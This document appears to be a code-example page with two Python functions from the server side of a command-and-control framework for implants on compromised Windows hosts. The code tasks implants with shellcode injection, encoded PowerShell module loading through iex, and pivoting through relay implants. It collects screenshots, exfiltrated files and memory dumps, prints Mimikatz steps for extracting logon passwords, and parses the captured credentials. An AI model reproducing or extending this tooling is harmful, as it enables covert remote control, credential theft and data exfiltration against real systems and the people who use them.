예제 #1
0
def newTask(path):
    all_implants = DB.get_implants_all()
    commands = ""
    if all_implants:
        for i in all_implants:
            RandomURI = i.RandomURI
            Pivot = i.Pivot
            EncKey = i.Key
            tasks = DB.get_newtasks(RandomURI)
            if RandomURI in path and tasks:
                for task in tasks:
                    command = task[2]
                    user = task[3]
                    user_command = command
                    implant = DB.get_implantbyrandomuri(RandomURI)
                    implant_type = DB.get_implanttype(RandomURI)
                    now = datetime.datetime.now()
                    if (command.lower(
                    ).startswith("$shellcode64")) or (command.lower(
                    ).startswith("$shellcode86") or command.lower().startswith(
                            "run-exe core.program core inject-shellcode"
                    ) or command.lower().startswith(
                            "run-exe pbind pbind run-exe core.program core inject-shellcode"
                    ) or command.lower().startswith(
                            "pbind-command run-exe core.program core inject-shellcode"
                    ) or command.lower().startswith(
                            "pbind-pivot-command run-exe core.program core inject-shellcode"
                    )):
                        user_command = "Inject Shellcode: %s" % command[
                            command.index("#") + 1:]
                        command = command[:command.index("#")]
                    elif " -pycode " in command.lower():
                        split_command = command.strip().split()
                        args = split_command[3:]
                        module = split_command[0]
                        user_command = module + " " + " ".join(args)
                    elif (command.lower().startswith('upload-file')
                          or command.lower().startswith(
                              'pbind-command upload-file')
                          or command.lower().startswith(
                              'fcomm-command upload-file')):
                        PBind = False
                        FComm = False
                        if command.lower().startswith(
                                'pbind-command upload-file'):
                            PBind = True
                        if command.lower().startswith(
                                'fcomm-command upload-file'):
                            FComm = True
                        upload_args = command \
                            .replace('pbind-command upload-file', '') \
                            .replace('fcomm-command upload-file', '') \
                            .replace('upload-file', '')
                        upload_file_args_split = upload_args.split()
                        if len(upload_file_args_split) < 2:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                            continue
                        upload_file = upload_file_args_split[0]
                        upload_file_destination = upload_file_args_split[1]
                        upload_args = upload_args.replace(upload_file, '')
                        upload_args = upload_args.replace(
                            upload_file_destination, '')
                        with open(upload_file, "rb") as f:
                            upload_file_bytes = f.read()
                        if not upload_file_bytes:
                            print(
                                Colours.RED +
                                f"Error, no bytes read from the upload file, removing task: {upload_file}"
                                + Colours.GREEN)
                            DB.del_newtasks(str(task[0]))
                            continue
                        upload_file_bytes_b64 = base64.b64encode(
                            upload_file_bytes).decode("utf-8")
                        if implant_type.lower().startswith('c#'):
                            command = f"upload-file {upload_file_bytes_b64};\"{upload_file_destination}\" {upload_args}"
                        elif implant_type.lower().startswith('ps'):
                            command = f"Upload-File -Destination \"{upload_file_destination}\" -Base64 {upload_file_bytes_b64} {upload_args}"
                        elif implant_type.lower().startswith('py'):
                            command = f"upload-file \"{upload_file_destination}\":{upload_file_bytes_b64} {upload_args}"
                        else:
                            print(Colours.RED)
                            print("Error parsing upload command: %s" %
                                  upload_args)
                            print(Colours.GREEN)
                        if PBind:
                            command = f"pbind-command {command}"
                        if FComm:
                            command = f"fcomm-command {command}"
                        filehash = hashlib.md5(
                            base64.b64decode(
                                upload_file_bytes_b64)).hexdigest()
                        user_command = f"Uploading file: {upload_file} to {upload_file_destination} with md5sum: {filehash}"
                    taskId = DB.insert_task(RandomURI, user_command, user)
                    taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
                    if len(str(taskId)) > 5:
                        raise ValueError(
                            'Task ID is greater than 5 characters which is not supported.'
                        )
                    print(Colours.YELLOW)
                    if user is not None and user != "":
                        print(
                            "Task %s (%s) issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, user, implant.ImplantID,
                               implant.Domain, implant.User, implant.Hostname,
                               now.strftime("%Y-%m-%d %H:%M:%S")))
                    else:
                        print(
                            "Task %s issued against implant %s on host %s\\%s @ %s (%s)"
                            % (taskIdStr, implant.ImplantID, implant.Domain,
                               implant.User, implant.Hostname,
                               now.strftime("%Y-%m-%d %H:%M:%S")))
                    try:
                        if (user_command.lower().startswith(
                                "run-exe sharpwmi.program sharpwmi action=execute"
                        ) or user_command.lower().startswith(
                                "pbind-command run-exe sharpwmi.program sharpwmi action=execute"
                        ) or user_command.lower().startswith(
                                "fcomm-command run-exe sharpwmi.program sharpwmi action=execute"
                        )):
                            print(user_command[0:200])
                            print("----TRUNCATED----")
                        else:
                            print(user_command)
                        print(Colours.END)
                    except Exception as e:
                        print("Cannot print output: %s" % e)
                    if task[2].startswith("loadmodule "):
                        try:
                            module_name = (task[2]).replace("loadmodule ", "")
                            if ".exe" in module_name:
                                modulestr = load_module_sharp(module_name)
                            elif ".dll" in module_name:
                                modulestr = load_module_sharp(module_name)
                            else:
                                modulestr = load_module(module_name)
                            command = "loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            command = ""
                    elif task[2].startswith("run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace("run-exe Program PS ", "")
                            modulestr = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith(
                            "pbind-pivot-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace(
                                "pbind-pivot-command run-exe Program PS ", "")
                            base64string = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            modulestr = base64.b64encode(
                                f"run-exe Program PS {base64string}".encode(
                                    "utf-8")).decode("utf-8")
                            doublebase64string = base64.b64encode(
                                f"run-exe PBind PBind {modulestr}".encode(
                                    "utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % doublebase64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith(
                            "pbind-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace(
                                "pbind-command run-exe Program PS ", "")
                            base64string = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            modulestr = base64.b64encode(
                                f"run-exe Program PS {base64string}".encode(
                                    "utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith(
                            "fcomm-command run-exe Program PS "):
                        try:
                            cmd = (task[2]).replace(
                                "fcomm-command run-exe Program PS ", "")
                            modulestr = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe FComm.FCClass FComm run-exe Program PS %s" % modulestr
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pslo "):
                        try:
                            module_name = (task[2]).replace("pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe Program PS loadmodule%s" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pslo"):
                        try:
                            module_name = (task[2]).replace("pbind-pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe PBind PBind \"run-exe Program PS loadmodule%s\"" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pivot-loadmodule "):
                        try:
                            module_name = (task[2]).replace(
                                "pbind-pivot-loadmodule ", "")
                            if ".exe" in module_name or ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                base64string = base64.b64encode(
                                    f"run-exe PBind PBind \"loadmodule{modulestr}\""
                                    .encode("utf-8")).decode("utf-8")
                                command = f"run-exe PBind PBind {base64string}"
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("fcomm-pslo"):
                        try:
                            module_name = (task[2]).replace("fcomm-pslo ", "")
                            for modname in os.listdir(ModulesDirectory):
                                if modname.lower() in module_name.lower():
                                    module_name = modname
                            modulestr = load_module_sharp(module_name)
                            command = "run-exe FComm.FCClass FComm \"run-exe Program PS loadmodule%s\"" % modulestr
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-loadmodule "):
                        try:
                            module_name = (task[2]).replace(
                                "pbind-loadmodule ", "")
                            if ".exe" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr
                            elif ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe PBind PBind \"loadmodule%s\"" % modulestr
                            else:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module(module_name)
                                command = "run-exe PBind PBind \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                    bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-command "):
                        try:
                            cmd = command.replace("pbind-command ", "")
                            base64string = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % base64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-connect"):
                        command = command.replace(
                            "pbind-connect ", "run-exe PBind PBind start ")
                    elif task[2].startswith("pbind-kill"):
                        command = command.replace(
                            "pbind-kill", "run-exe PBind PBind kill-implant")
                    elif task[2].startswith("fcomm-loadmodule "):
                        try:
                            module_name = (task[2]).replace(
                                "fcomm-loadmodule ", "")
                            if ".exe" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr
                            elif ".dll" in module_name:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module_sharp(module_name)
                                command = "run-exe FComm.FCClass FComm \"loadmodule%s\"" % modulestr
                            else:
                                for modname in os.listdir(ModulesDirectory):
                                    if modname.lower() in module_name.lower():
                                        module_name = modname
                                modulestr = load_module(module_name)
                                command = "run-exe FComm.FCClass FComm \"`$mk = '%s';[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`$mk))|iex\"" % base64.b64encode(
                                    bytes(modulestr, "utf-8")).decode('utf-8')
                        except Exception as e:
                            print(
                                "Cannot find module, loadmodule is case sensitive!"
                            )
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("fcomm-command "):
                        command = command.replace(
                            "fcomm-command ", "run-exe FComm.FCClass FComm ")
                    elif task[2].startswith("fcomm-connect"):
                        command = command.replace(
                            "fcomm-connect ",
                            "run-exe FComm.FCClass FComm start ")
                    elif task[2].startswith("fcomm-kill"):
                        command = command.replace(
                            "fcomm-kill",
                            "run-exe FComm.FCClass FComm kill-implant")

                    elif task[2].startswith("pbind-pivot-command "):
                        try:
                            cmd = command.replace("pbind-pivot-command ", "")
                            base64string1 = base64.b64encode(
                                cmd.encode("utf-8")).decode("utf-8")
                            base64string = base64.b64encode(
                                f"run-exe PBind PBind {base64string1}".encode(
                                    "utf-8")).decode("utf-8")
                            command = "run-exe PBind PBind %s" % base64string
                        except Exception as e:
                            print("Cannot base64 the command for PS")
                            print(e)
                            traceback.print_exc()
                    elif task[2].startswith("pbind-pivot-connect"):
                        command = command.replace(
                            "pbind-pivot-connect ",
                            "run-exe PBind PBind run-exe PBind PBind start ")
                    elif task[2].startswith("pbind-pivot-kill"):
                        command = command.replace(
                            "pbind-pivot-kill",
                            "run-exe PBind PBind run-exe PBind PBind kill-implant"
                        )

                    # Uncomment to print actual commands that are being sent
                    # if "AAAAAAAAAAAAAAAAAAAA" not in command:
                    #    print(Colours.BLUE + "Issuing Command: " + command + Colours.GREEN)

                    command = taskIdStr + command
                    if commands:
                        commands += "!d-3dion@LD!-d" + command
                    else:
                        commands += command
                    DB.del_newtasks(str(task[0]))
                if commands is not None:
                    multicmd = "multicmd%s" % commands
                try:
                    responseVal = encrypt(EncKey, multicmd)
                except Exception as e:
                    responseVal = ""
                    print("Error encrypting value: %s" % e)
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"),
                                           RandomURI)
                return responseVal
            elif RandomURI in path and not tasks:
                # if there is no tasks but its a normal beacon send 200
                now = datetime.datetime.now()
                DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"),
                                           RandomURI)
                return default_response()
예제 #2
0
def newTaskOutput(uriPath, cookieVal, post_data, wsclient=False):
    now = datetime.datetime.now()
    all_implants = DB.get_implants_all()
    if not all_implants:
        print_bad(
            "Received post request but no implants in database... has the project been cleaned but you're using the same URLs?"
        )
        return
    for implant in all_implants:
        implantID = implant.ImplantID
        RandomURI = implant.RandomURI
        Hostname = implant.Hostname
        encKey = implant.Key
        Domain = implant.Domain
        User = implant.User
        if RandomURI in uriPath and cookieVal:
            DB.update_implant_lastseen(now.strftime("%Y-%m-%d %H:%M:%S"),
                                       RandomURI)
            decCookie = decrypt(encKey, cookieVal)
            rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
            if decCookie.startswith("Error"):
                print(Colours.RED)
                print("The multicmd errored: ")
                print(rawoutput)
                print(Colours.GREEN)
                return

            cookieMsg = ""
            if "-" in decCookie:
                decCookie = decCookie.strip('\x00')
                splt = decCookie.split("-")
                if not splt[0].isdigit():
                    print(Colours.RED +
                          "[!] Cookie %s is invalid" % decCookie +
                          Colours.GREEN)
                    return
                else:
                    taskId = str(int(splt[0]))
                    cookieMsg = splt[1]
            else:
                taskId = str(int(decCookie.strip('\x00')))
            taskIdStr = "0" * (5 - len(str(taskId))) + str(taskId)
            if taskId != "99999":
                executedCmd = DB.get_cmd_from_task_id(taskId)
                task_owner = DB.get_task_owner(taskId)
            else:
                print(Colours.END)
                timenow = now.strftime("%Y-%m-%d %H:%M:%S")
                print(
                    f"Background task against implant {implantID} on host {Domain}\\{User} @ {Hostname} ({timenow}) (output appended to %sbackground-data.txt)"
                    % ReportsDirectory)
                print(Colours.GREEN)
                print(rawoutput)
                miscData = open(("%sbackground-data.txt" % ReportsDirectory),
                                "a+")
                miscData.write(rawoutput)
                return
            print(Colours.GREEN)
            if task_owner is not None:
                print(
                    "Task %s (%s) returned against implant %s on host %s\\%s @ %s (%s)"
                    % (taskIdStr, task_owner, implantID, Domain, User,
                       Hostname, now.strftime("%Y-%m-%d %H:%M:%S")))
            else:
                print(
                    "Task %s returned against implant %s on host %s\\%s @ %s (%s)"
                    % (taskIdStr, implantID, Domain, User, Hostname,
                       now.strftime("%Y-%m-%d %H:%M:%S")))
            try:
                outputParsed = re.sub(r'123456(.+?)654321', '', rawoutput)
                outputParsed = outputParsed.rstrip()
            except Exception:
                pass
            if cookieMsg is not None and cookieMsg.lower().startswith(
                    "pwrstatusmsg"):
                translate_power_status(outputParsed, RandomURI)
                return
            if "loadmodule" in executedCmd and len(outputParsed.split()) == 0:
                print("Module loaded successfully")
                DB.update_task(taskId, "Module loaded successfully")
            elif "pbind-connect " in executedCmd and "PBind-Connected" in outputParsed or "PBind PBind start" in executedCmd and "PBind-Connected" in outputParsed:
                outputParsed = re.search("PBind-Connected:.*", outputParsed)
                outputParsed = outputParsed[0].replace("PBind-Connected: ", "")
                Domain, User, Hostname, Arch, PID, Proxy = str(
                    outputParsed).split(";")
                Proxy = Proxy.replace("\x00", "")
                if "\\" in User:
                    User = User[User.index("\\") + 1:]

                PivotString = "C# PBind"
                if "pbind-command run-exe PBind PBind start" in executedCmd:
                    PivotString = "C# PBind Pivot"

                newImplant = Implant(implantID, PivotString, str(Domain),
                                     str(User), str(Hostname), Arch, PID, None)
                newImplant.save()
                newImplant.display()
                newImplant.autoruns()
                if "pbind-command run-exe PBind PBind start" in executedCmd:
                    DB.new_task("pbind-pivot-loadmodule Stage2-Core.exe",
                                "autoruns", RandomURI)
                else:
                    DB.new_task("pbind-loadmodule Stage2-Core.exe", "autoruns",
                                RandomURI)

            elif "fcomm-connect " in executedCmd and "FComm-Connected" in outputParsed:
                outputParsed = re.search("FComm-Connected:.*", outputParsed)
                outputParsed = outputParsed[0].replace("FComm-Connected: ", "")
                Domain, User, Hostname, Arch, PID, Proxy = str(
                    outputParsed).split(";")
                Proxy = Proxy.replace("\x00", "")
                if "\\" in User:
                    User = User[User.index("\\") + 1:]
                newImplant = Implant(implantID, "C# FComm", str(Domain),
                                     str(User), str(Hostname), Arch, PID, None)
                newImplant.save()
                newImplant.display()
                newImplant.autoruns()
                DB.new_task("fcomm-loadmodule Stage2-Core.exe", "autoruns",
                            RandomURI)
            elif executedCmd.lower().startswith("beacon "):
                new_sleep = executedCmd.replace('beacon ', '').strip()
                DB.update_sleep(new_sleep, RandomURI)
            elif "get-screenshot" in executedCmd.lower():
                try:
                    decoded = base64.b64decode(outputParsed)
                    filename = implant.User + "-" + now.strftime(
                        "%m%d%Y%H%M%S_" + randomuri())
                    output_file = open(
                        '%s%s.png' % (DownloadsDirectory, filename), 'wb')
                    print("Screenshot captured: %s%s.png" %
                          (DownloadsDirectory, filename))
                    DB.update_task(
                        taskId, "Screenshot captured: %s%s.png" %
                        (DownloadsDirectory, filename))
                    output_file.write(decoded)
                    output_file.close()
                except Exception:
                    DB.update_task(
                        taskId,
                        "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
                    )
                    print(
                        "Screenshot not captured, the screen could be locked or this user does not have access to the screen!"
                    )
            elif (executedCmd.lower().startswith("$shellcode64")) or (
                    executedCmd.lower().startswith("$shellcode64")):
                DB.update_task(taskId, "Upload shellcode complete")
                print("Upload shellcode complete")
            elif (executedCmd.lower().startswith(
                    "run-exe core.program core inject-shellcode"
            )) or (executedCmd.lower().startswith(
                    "pbind-command run-exe core.program core inject-shellcode"
            )) or (executedCmd.lower().startswith(
                    "pbind-pivot-command run-exe core.program core inject-shellcode"
            )):
                DB.update_task(taskId, "Upload shellcode complete")
                print(outputParsed)
            elif "download-file" in executedCmd.lower():
                try:
                    filename = executedCmd.lower().replace(
                        "download-files ", "")
                    filename = filename.replace("download-file ", "")
                    filename = filename.replace("-source ", "")
                    filename = filename.replace("..", "")
                    filename = filename.replace("'", "")
                    filename = filename.replace('"', "")
                    filename = filename.replace("\\", "/")
                    directory, filename = filename.rsplit('/', 1)
                    filename = filename.rstrip('\x00')
                    original_filename = filename.strip()

                    if not original_filename:
                        directory = directory.rstrip('\x00')
                        directory = directory.replace("/", "_").replace(
                            "\\", "_").strip()
                        original_filename = directory

                    try:
                        if rawoutput.startswith("Error"):
                            print("Error downloading file: ")
                            print(rawoutput)
                            break
                        chunkNumber = rawoutput[:5]
                        totalChunks = rawoutput[5:10]
                    except Exception:
                        chunkNumber = rawoutput[:5].decode("utf-8")
                        totalChunks = rawoutput[5:10].decode("utf-8")

                    if (chunkNumber == "00001") and os.path.isfile(
                            '%s%s' % (DownloadsDirectory, filename)):
                        counter = 1
                        while (os.path.isfile('%s%s' %
                                              (DownloadsDirectory, filename))):
                            if '.' in filename:
                                filename = original_filename[:original_filename
                                                             .rfind(
                                                                 '.'
                                                             )] + '-' + str(
                                                                 counter
                                                             ) + original_filename[
                                                                 original_filename
                                                                 .rfind('.'):]
                            else:
                                filename = original_filename + '-' + str(
                                    counter)
                            counter += 1
                    if (chunkNumber != "00001"):
                        counter = 1
                        if not os.path.isfile('%s%s' %
                                              (DownloadsDirectory, filename)):
                            print(
                                "Error trying to download part of a file to a file that does not exist: %s"
                                % filename)
                        while (os.path.isfile('%s%s' %
                                              (DownloadsDirectory, filename))):
                            # First find the 'next' file would be downloaded to
                            if '.' in filename:
                                filename = original_filename[:original_filename
                                                             .rfind(
                                                                 '.'
                                                             )] + '-' + str(
                                                                 counter
                                                             ) + original_filename[
                                                                 original_filename
                                                                 .rfind('.'):]
                            else:
                                filename = original_filename + '-' + str(
                                    counter)
                            counter += 1
                        if counter != 2:
                            # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter
                            if '.' in filename:
                                filename = original_filename[:original_filename
                                                             .rfind(
                                                                 '.'
                                                             )] + '-' + str(
                                                                 counter - 2
                                                             ) + original_filename[
                                                                 original_filename
                                                                 .rfind('.'):]
                            else:
                                filename = original_filename + '-' + str(
                                    counter - 2)
                        else:
                            filename = original_filename
                    print("Download file part %s of %s to: %s" %
                          (chunkNumber, totalChunks, filename))
                    DB.update_task(
                        taskId, "Download file part %s of %s to: %s" %
                        (chunkNumber, totalChunks, filename))
                    output_file = open('%s%s' % (DownloadsDirectory, filename),
                                       'ab')
                    try:
                        output_file.write(rawoutput[10:])
                    except Exception:
                        output_file.write(rawoutput[10:].encode("utf-8"))
                    output_file.close()
                except Exception as e:
                    DB.update_task(taskId, "Error downloading file %s " % e)
                    print("Error downloading file %s " % e)
                    traceback.print_exc()

            elif "safetydump" in executedCmd.lower():
                rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:])
                if rawoutput.startswith("[-]") or rawoutput.startswith(
                        "ErrorCmd"):
                    DB.update_task(taskId, rawoutput)
                    print(rawoutput)
                else:
                    dumpname = "SafetyDump-Task-%s.b64" % taskIdStr
                    dumppath = "%s%s" % (DownloadsDirectory, dumpname)
                    open(dumppath, 'w').write(rawoutput)
                    message = "Dump written to: %s" % dumppath
                    message = message + "\n The base64 blob needs decoding, e.g. on Windows to use Mimikatz:"
                    message = message + "\n     $filename = '.\\%s'" % dumpname
                    message = message + "\n     $b64 = Get-Content $filename"
                    message = message + "\n     $bytes = [System.Convert]::FromBase64String($b64)"
                    message = message + "\n     [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + '\\safetydump.dmp', $bytes)"
                    message = message + "\n     ./mimikatz.exe"
                    message = message + "\n     sekurlsa::minidump safetydump.dmp"
                    message = message + "\n     sekurlsa::logonpasswords"
                    message = message + "\nOr to just decode on Linux:"
                    message = message + f"\n     base64 -id {dumpname} > dump.bin"
                    DB.update_task(taskId, message)
                    print(message)

            elif (executedCmd.lower().startswith("run-exe safetykatz")
                  or "invoke-mimikatz" in executedCmd
                  or executedCmd.lower().startswith("pbind-")
                  or executedCmd.lower().startswith("fcomm-command")
                  or executedCmd.lower().startswith("run-dll sharpsploit")
                  ) and "logonpasswords" in outputParsed.lower():
                print("Parsing Mimikatz Output")
                DB.update_task(taskId, outputParsed)
                process_mimikatz(outputParsed)
                print(Colours.GREEN)
                print(outputParsed + Colours.END)

            else:
                DB.update_task(taskId, outputParsed)
                print(Colours.GREEN)
                print(outputParsed + Colours.END)